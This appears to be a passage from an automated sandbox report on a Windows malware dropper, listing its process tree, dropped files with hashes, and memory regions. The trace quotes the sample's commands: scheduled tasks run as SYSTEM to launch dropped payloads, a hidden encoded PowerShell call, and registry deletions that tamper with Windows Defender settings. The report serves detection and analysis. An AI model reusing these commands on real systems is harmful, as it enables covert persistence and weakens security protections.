                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gCpAggfgj"
                                                                                                            2⤵
                                                                                                              PID:4800
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gCpAggfgj"
                                                                                                              2⤵
                                                                                                                PID:4060
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "VgOpnHVQDAdMZqNFB" /SC once /ST 15:31:10 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\lceXoiO.exe\" aF /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:3648
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "VgOpnHVQDAdMZqNFB"
                                                                                                                2⤵
                                                                                                                  PID:2432
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:3592
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:5104
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:3160
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:2356
                                                                                                                    • C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\lceXoiO.exe
                                                                                                                      C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\lceXoiO.exe aF /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Checks computer location settings
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:1988
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bNHXguvSZYiOwSiXLC"
                                                                                                                        2⤵
                                                                                                                          PID:1372
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:4988
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:664
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:4636
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:456
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\SHsJRQZsU\xIzZCh.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "DNDvMcbpefrYjKZ" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4840
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "DNDvMcbpefrYjKZ2" /F /xml "C:\Program Files (x86)\SHsJRQZsU\ACuYWNb.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3932
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "DNDvMcbpefrYjKZ"
                                                                                                                                  2⤵
                                                                                                                                    PID:2596
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "DNDvMcbpefrYjKZ"
                                                                                                                                    2⤵
                                                                                                                                      PID:4836
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "WEhIDiLYPHjasB" /F /xml "C:\Program Files (x86)\ATZmuaBwNwmU2\RtduLLu.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4316
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "uMLBCyigOFctO2" /F /xml "C:\ProgramData\fxkldoUMcXUSOxVB\yaspRFL.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1060
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "kiDkdQMpQtFhhDeJz2" /F /xml "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\QAMMdOC.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1980
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "VjVOLqrPjSeucnEqiOK2" /F /xml "C:\Program Files (x86)\aJAQLsoDkiWqC\mPVHnvA.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:3616
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "mDNVJgqIdbaAfzWWp" /SC once /ST 09:42:12 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MYjwJFnMfsmfKHMw\RVSbSEHC\nzTDfyG.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4748
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "mDNVJgqIdbaAfzWWp"
                                                                                                                                      2⤵
                                                                                                                                        PID:260
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:3268
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:1216
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:380
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4920
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "VgOpnHVQDAdMZqNFB"
                                                                                                                                                2⤵
                                                                                                                                                  PID:3596
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MYjwJFnMfsmfKHMw\RVSbSEHC\nzTDfyG.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:2504
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MYjwJFnMfsmfKHMw\RVSbSEHC\nzTDfyG.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:3920
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "mDNVJgqIdbaAfzWWp"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4804

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\ATZmuaBwNwmU2\RtduLLu.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    4ab52371172bce4935dcc6456670d4c1

                                                                                                                                                    SHA1

                                                                                                                                                    ae86e917eba7d72a4fb7071488b2c153ef4ad738

                                                                                                                                                    SHA256

                                                                                                                                                    940da26b5d9fb2f60852be7ed5ec202a08aa60649d1137ccc96fd06e8ae1bfe4

                                                                                                                                                    SHA512

                                                                                                                                                    b8aa3cc48a5f876236975a8ce6de887515c5b085c24f4937f9e943236cba91513b3e1c527a2a193fd219be969bac605985710cd76ec31c254c96655d88a8205a

                                                                                                                                                  • C:\Program Files (x86)\SHsJRQZsU\ACuYWNb.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    8df584287d23fbcd6fc329ff0c8d4a0a

                                                                                                                                                    SHA1

                                                                                                                                                    96979b72d0db8a435a4488ce80387b6e2e23b680

                                                                                                                                                    SHA256

                                                                                                                                                    3469fbd218c7647df8593bca4dd2e3dff5889b49f47c841a309f9a23e8dec866

                                                                                                                                                    SHA512

                                                                                                                                                    1f240824932776c88955b3bb59068b1a55be5f18da91ceb710c08a6c78eb8c4214ac25faa9b82715f626bf50b25970e7fdc4453409cb6603f7fe2068bb6fbeea

                                                                                                                                                  • C:\Program Files (x86)\aJAQLsoDkiWqC\mPVHnvA.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    0919a9f8a4caa5f7f48cbf5795bd577f

                                                                                                                                                    SHA1

                                                                                                                                                    87412d6ad482a640e131e58d6c0dfcc77be1df4c

                                                                                                                                                    SHA256

                                                                                                                                                    90b2a93ea32a35da66b22111e053467c5af0c252e71eaede105e51e05ef179c9

                                                                                                                                                    SHA512

                                                                                                                                                    e0084f0823f8ccc27bb02e50b3b699298e6ba14ad07f7e2301e8ae82a3e25a767dd39a0107a5297d887cd6933f219246f4f0febd6a87673c023fb985f3fdb337

                                                                                                                                                  • C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\QAMMdOC.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    3a7ec9ad272aa80f055b3c71efb621ff

                                                                                                                                                    SHA1

                                                                                                                                                    6c9abcd734c85bdc4433ec8aaf610f3d5cde15a6

                                                                                                                                                    SHA256

                                                                                                                                                    21a61bf662b381fee8589a65ad0b5d9777445bdf979ff0138cd5fe003bc2e9f4

                                                                                                                                                    SHA512

                                                                                                                                                    39f13710081d8c097fe2cfb7f054c75dd7a3bf79b4bcdadc07979942bb78ea2483198b25c66967bb8fbd8a82407cfcaace090b060215a11ba7166ab6736179d6

                                                                                                                                                  • C:\ProgramData\fxkldoUMcXUSOxVB\yaspRFL.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    50ff50c212283d070cd96a85299352ca

                                                                                                                                                    SHA1

                                                                                                                                                    e5136f0fbefe037bc82f2f62cb3d9c8b6f5cb550

                                                                                                                                                    SHA256

                                                                                                                                                    0a40af9fe59e1ae263966c78613e8c5e09f7e462b63fd12960d277b4f47fcb1c

                                                                                                                                                    SHA512

                                                                                                                                                    743b6f62658108f03850d635809a84d02bc95a80e8797d54383b1d01fef4e39d53e30540090e04623dcf92cd6a2844088f46a0ce4e72045d514e233c64e94bbf

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    d8b9a260789a22d72263ef3bb119108c

                                                                                                                                                    SHA1

                                                                                                                                                    376a9bd48726f422679f2cd65003442c0b6f6dd5

                                                                                                                                                    SHA256

                                                                                                                                                    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

                                                                                                                                                    SHA512

                                                                                                                                                    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS66AE.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.4MB

                                                                                                                                                    MD5

                                                                                                                                                    976264ea590e4bf32aa454c63447613d

                                                                                                                                                    SHA1

                                                                                                                                                    07083d0d0d9133f7414f6782737d8f014a98ab01

                                                                                                                                                    SHA256

                                                                                                                                                    00ad00a77c0f2995a4b583ac7289bcb09d755862b96d62a039228f16b91f3ba8

                                                                                                                                                    SHA512

                                                                                                                                                    1e79e0dc50881f9bc0f5b1bbabceb1ef0b037264520734578e9b25acbb04e487e2261cc89ecea360b8757285c16c33c0ecd83d236d4d26b7380b85cba8f300c3

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS66AE.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.4MB

                                                                                                                                                    MD5

                                                                                                                                                    976264ea590e4bf32aa454c63447613d

                                                                                                                                                    SHA1

                                                                                                                                                    07083d0d0d9133f7414f6782737d8f014a98ab01

                                                                                                                                                    SHA256

                                                                                                                                                    00ad00a77c0f2995a4b583ac7289bcb09d755862b96d62a039228f16b91f3ba8

                                                                                                                                                    SHA512

                                                                                                                                                    1e79e0dc50881f9bc0f5b1bbabceb1ef0b037264520734578e9b25acbb04e487e2261cc89ecea360b8757285c16c33c0ecd83d236d4d26b7380b85cba8f300c3

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS69AB.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    54042a806886288ad60c64e7adaa2f53

                                                                                                                                                    SHA1

                                                                                                                                                    30ee71d3a30dff86dad3224ea57d844e18505cc1

                                                                                                                                                    SHA256

                                                                                                                                                    facea1184fa61e0191fce707f9b9b137c5f5e96a687a7b9d944cc64b546d2487

                                                                                                                                                    SHA512

                                                                                                                                                    a3a73e500662bf3398936fd3acf4bdf4755abaf80379c7ab37c614014d48bb4b977108c660fd8942e2927562978cee5c2fbe6f29391ff98c26c1dd4ab4550001

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS69AB.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    54042a806886288ad60c64e7adaa2f53

                                                                                                                                                    SHA1

                                                                                                                                                    30ee71d3a30dff86dad3224ea57d844e18505cc1

                                                                                                                                                    SHA256

                                                                                                                                                    facea1184fa61e0191fce707f9b9b137c5f5e96a687a7b9d944cc64b546d2487

                                                                                                                                                    SHA512

                                                                                                                                                    a3a73e500662bf3398936fd3acf4bdf4755abaf80379c7ab37c614014d48bb4b977108c660fd8942e2927562978cee5c2fbe6f29391ff98c26c1dd4ab4550001

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\unVKAsR.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    54042a806886288ad60c64e7adaa2f53

                                                                                                                                                    SHA1

                                                                                                                                                    30ee71d3a30dff86dad3224ea57d844e18505cc1

                                                                                                                                                    SHA256

                                                                                                                                                    facea1184fa61e0191fce707f9b9b137c5f5e96a687a7b9d944cc64b546d2487

                                                                                                                                                    SHA512

                                                                                                                                                    a3a73e500662bf3398936fd3acf4bdf4755abaf80379c7ab37c614014d48bb4b977108c660fd8942e2927562978cee5c2fbe6f29391ff98c26c1dd4ab4550001

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\unVKAsR.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    54042a806886288ad60c64e7adaa2f53

                                                                                                                                                    SHA1

                                                                                                                                                    30ee71d3a30dff86dad3224ea57d844e18505cc1

                                                                                                                                                    SHA256

                                                                                                                                                    facea1184fa61e0191fce707f9b9b137c5f5e96a687a7b9d944cc64b546d2487

                                                                                                                                                    SHA512

                                                                                                                                                    a3a73e500662bf3398936fd3acf4bdf4755abaf80379c7ab37c614014d48bb4b977108c660fd8942e2927562978cee5c2fbe6f29391ff98c26c1dd4ab4550001

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

                                                                                                                                                    Filesize

                                                                                                                                                    717B

                                                                                                                                                    MD5

                                                                                                                                                    ec8ff3b1ded0246437b1472c69dd1811

                                                                                                                                                    SHA1

                                                                                                                                                    d813e874c2524e3a7da6c466c67854ad16800326

                                                                                                                                                    SHA256

                                                                                                                                                    e634c2d1ed20e0638c95597adf4c9d392ebab932d3353f18af1e4421f4bb9cab

                                                                                                                                                    SHA512

                                                                                                                                                    e967b804cbf2d6da30a532cbc62557d09bd236807790040c6bee5584a482dc09d724fc1d9ac0de6aa5b4e8b1fff72c8ab3206222cc2c95a91035754ac1257552

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\48F3BB146086CEF37D471FBE460215C9

                                                                                                                                                    Filesize

                                                                                                                                                    503B

                                                                                                                                                    MD5

                                                                                                                                                    453775af6db5fd5760d27de885885cad

                                                                                                                                                    SHA1

                                                                                                                                                    cb703211abc2c99806896affee176141d1d5a71a

                                                                                                                                                    SHA256

                                                                                                                                                    ef7aa1bce239076a61984d7c238d809f45775b0832c2500519a2b656b56ca85c

                                                                                                                                                    SHA512

                                                                                                                                                    721132a6ab0c02d87fb7164df7cf0ed8d9076d5447b2c5d29978b26221c2d3f74320b531309c50704ae84d69a8706d82f173679a1043c7d5f7f0debcb9be98a3

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

                                                                                                                                                    Filesize

                                                                                                                                                    192B

                                                                                                                                                    MD5

                                                                                                                                                    789deff10fedcddeef092a4dd3230340

                                                                                                                                                    SHA1

                                                                                                                                                    654c4c35a3b1de082019fee3fc879698c942870c

                                                                                                                                                    SHA256

                                                                                                                                                    f1316c1eab733cf790558c6341a77c3e42c9a6d784408c0410e32c3623660935

                                                                                                                                                    SHA512

                                                                                                                                                    37ad15e30dfb1c99caa9fd32b5a29a61be7f8ecb568e4e322d0b3e1bad901ece93e39d1432c7aefaa249ad2baae52b8c44b9c2384a0347bab0aea1ad1284ace5

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\48F3BB146086CEF37D471FBE460215C9

                                                                                                                                                    Filesize

                                                                                                                                                    560B

                                                                                                                                                    MD5

                                                                                                                                                    6f59c524c6c4527d3777be6f98dbd610

                                                                                                                                                    SHA1

                                                                                                                                                    248277aa7e564889f7a2458bae12b8e53e860559

                                                                                                                                                    SHA256

                                                                                                                                                    8a2fe3d9d0cdb7617d25e3ec56263a20c30533949e5d905ab8783eaad67236e7

                                                                                                                                                    SHA512

                                                                                                                                                    d14cb062db227cceb5bb149a9d33049dab4ab2ec7067c9ba85a09a021232cae53a58b0d14cb702ecb1f1024748ee29be2012428eea38d51c99a1850607cad39c

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    47611dc3dc4c71c945d5fae6dbd114dc

                                                                                                                                                    SHA1

                                                                                                                                                    c9c9e1b4c5eb9a99ca993a191ec1d6fd2b389398

                                                                                                                                                    SHA256

                                                                                                                                                    27793d5084c8e0b8b7904cf5c4b1244e9e9fc9c9f53761eb12553cde4a4f50d4

                                                                                                                                                    SHA512

                                                                                                                                                    3b16bca5f9396e7b26980c6dfba6d1c1c74253ca53f66c91913f6fd5779a8f067514000a59b76e7b3f2718fec14cf737337671a9607071e2d1f0b1c652915778

                                                                                                                                                  • C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\lceXoiO.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    54042a806886288ad60c64e7adaa2f53

                                                                                                                                                    SHA1

                                                                                                                                                    30ee71d3a30dff86dad3224ea57d844e18505cc1

                                                                                                                                                    SHA256

                                                                                                                                                    facea1184fa61e0191fce707f9b9b137c5f5e96a687a7b9d944cc64b546d2487

                                                                                                                                                    SHA512

                                                                                                                                                    a3a73e500662bf3398936fd3acf4bdf4755abaf80379c7ab37c614014d48bb4b977108c660fd8942e2927562978cee5c2fbe6f29391ff98c26c1dd4ab4550001

                                                                                                                                                  • C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\lceXoiO.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    54042a806886288ad60c64e7adaa2f53

                                                                                                                                                    SHA1

                                                                                                                                                    30ee71d3a30dff86dad3224ea57d844e18505cc1

                                                                                                                                                    SHA256

                                                                                                                                                    facea1184fa61e0191fce707f9b9b137c5f5e96a687a7b9d944cc64b546d2487

                                                                                                                                                    SHA512

                                                                                                                                                    a3a73e500662bf3398936fd3acf4bdf4755abaf80379c7ab37c614014d48bb4b977108c660fd8942e2927562978cee5c2fbe6f29391ff98c26c1dd4ab4550001

                                                                                                                                                  • C:\Windows\Temp\MYjwJFnMfsmfKHMw\RVSbSEHC\nzTDfyG.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    20ec46e9ba6365aa20cbd0901c403290

                                                                                                                                                    SHA1

                                                                                                                                                    0111156a4df15b72e0aec47889d18c867e600aca

                                                                                                                                                    SHA256

                                                                                                                                                    7bfae3944f725b82aafdf29968fe6d1155131be480f5e8559410dc824609b6ba

                                                                                                                                                    SHA512

                                                                                                                                                    6dfef0d8bd76166ddfbda8dffe4604d8443e02267daf3b6e2c990151a833352ad245e4510416e5d327969614e36158f6ed67299a5da6dcf29dcd18a7132c3d5d

                                                                                                                                                  • C:\Windows\Temp\MYjwJFnMfsmfKHMw\RVSbSEHC\nzTDfyG.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    20ec46e9ba6365aa20cbd0901c403290

                                                                                                                                                    SHA1

                                                                                                                                                    0111156a4df15b72e0aec47889d18c867e600aca

                                                                                                                                                    SHA256

                                                                                                                                                    7bfae3944f725b82aafdf29968fe6d1155131be480f5e8559410dc824609b6ba

                                                                                                                                                    SHA512

                                                                                                                                                    6dfef0d8bd76166ddfbda8dffe4604d8443e02267daf3b6e2c990151a833352ad245e4510416e5d327969614e36158f6ed67299a5da6dcf29dcd18a7132c3d5d

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                    MD5

                                                                                                                                                    d80d04d5b21251a54b3e6bbbeabfeb8e

                                                                                                                                                    SHA1

                                                                                                                                                    8c3a1ed769ec7465ebd3e60703e21eb82eb9b3fd

                                                                                                                                                    SHA256

                                                                                                                                                    af6cd79eb6b65d2dd54a4dd6825525351cafca9fa532ece11503e0471459fff3

                                                                                                                                                    SHA512

                                                                                                                                                    bd6ed8d75d8a0f725e0a26d03afc5ed18b1532facb56926134050f56911d6049376b8acb47f0db9b91770cf3de7cd466a44765382064a3d1c350e3823863efba

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/420-138-0x0000000010000000-0x0000000011000000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16.0MB

                                                                                                                                                  • memory/1988-246-0x0000000006F60000-0x0000000007016000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    728KB

                                                                                                                                                  • memory/1988-228-0x00000000050E0000-0x0000000005165000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    532KB

                                                                                                                                                  • memory/1988-232-0x0000000005730000-0x0000000005797000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    412KB

                                                                                                                                                  • memory/1988-242-0x00000000060A0000-0x000000000611C000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    496KB

                                                                                                                                                  • memory/2692-163-0x0000000000F00000-0x0000000000F36000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/2692-167-0x0000000004180000-0x00000000041E6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/2692-168-0x0000000004810000-0x000000000482E000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/2692-166-0x0000000003AD0000-0x0000000003B36000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/2692-165-0x0000000003870000-0x0000000003892000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2692-164-0x0000000003B50000-0x0000000004178000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/3592-220-0x00007FFA667A0000-0x00007FFA67261000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/3920-249-0x0000000002640000-0x0000000003640000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16.0MB

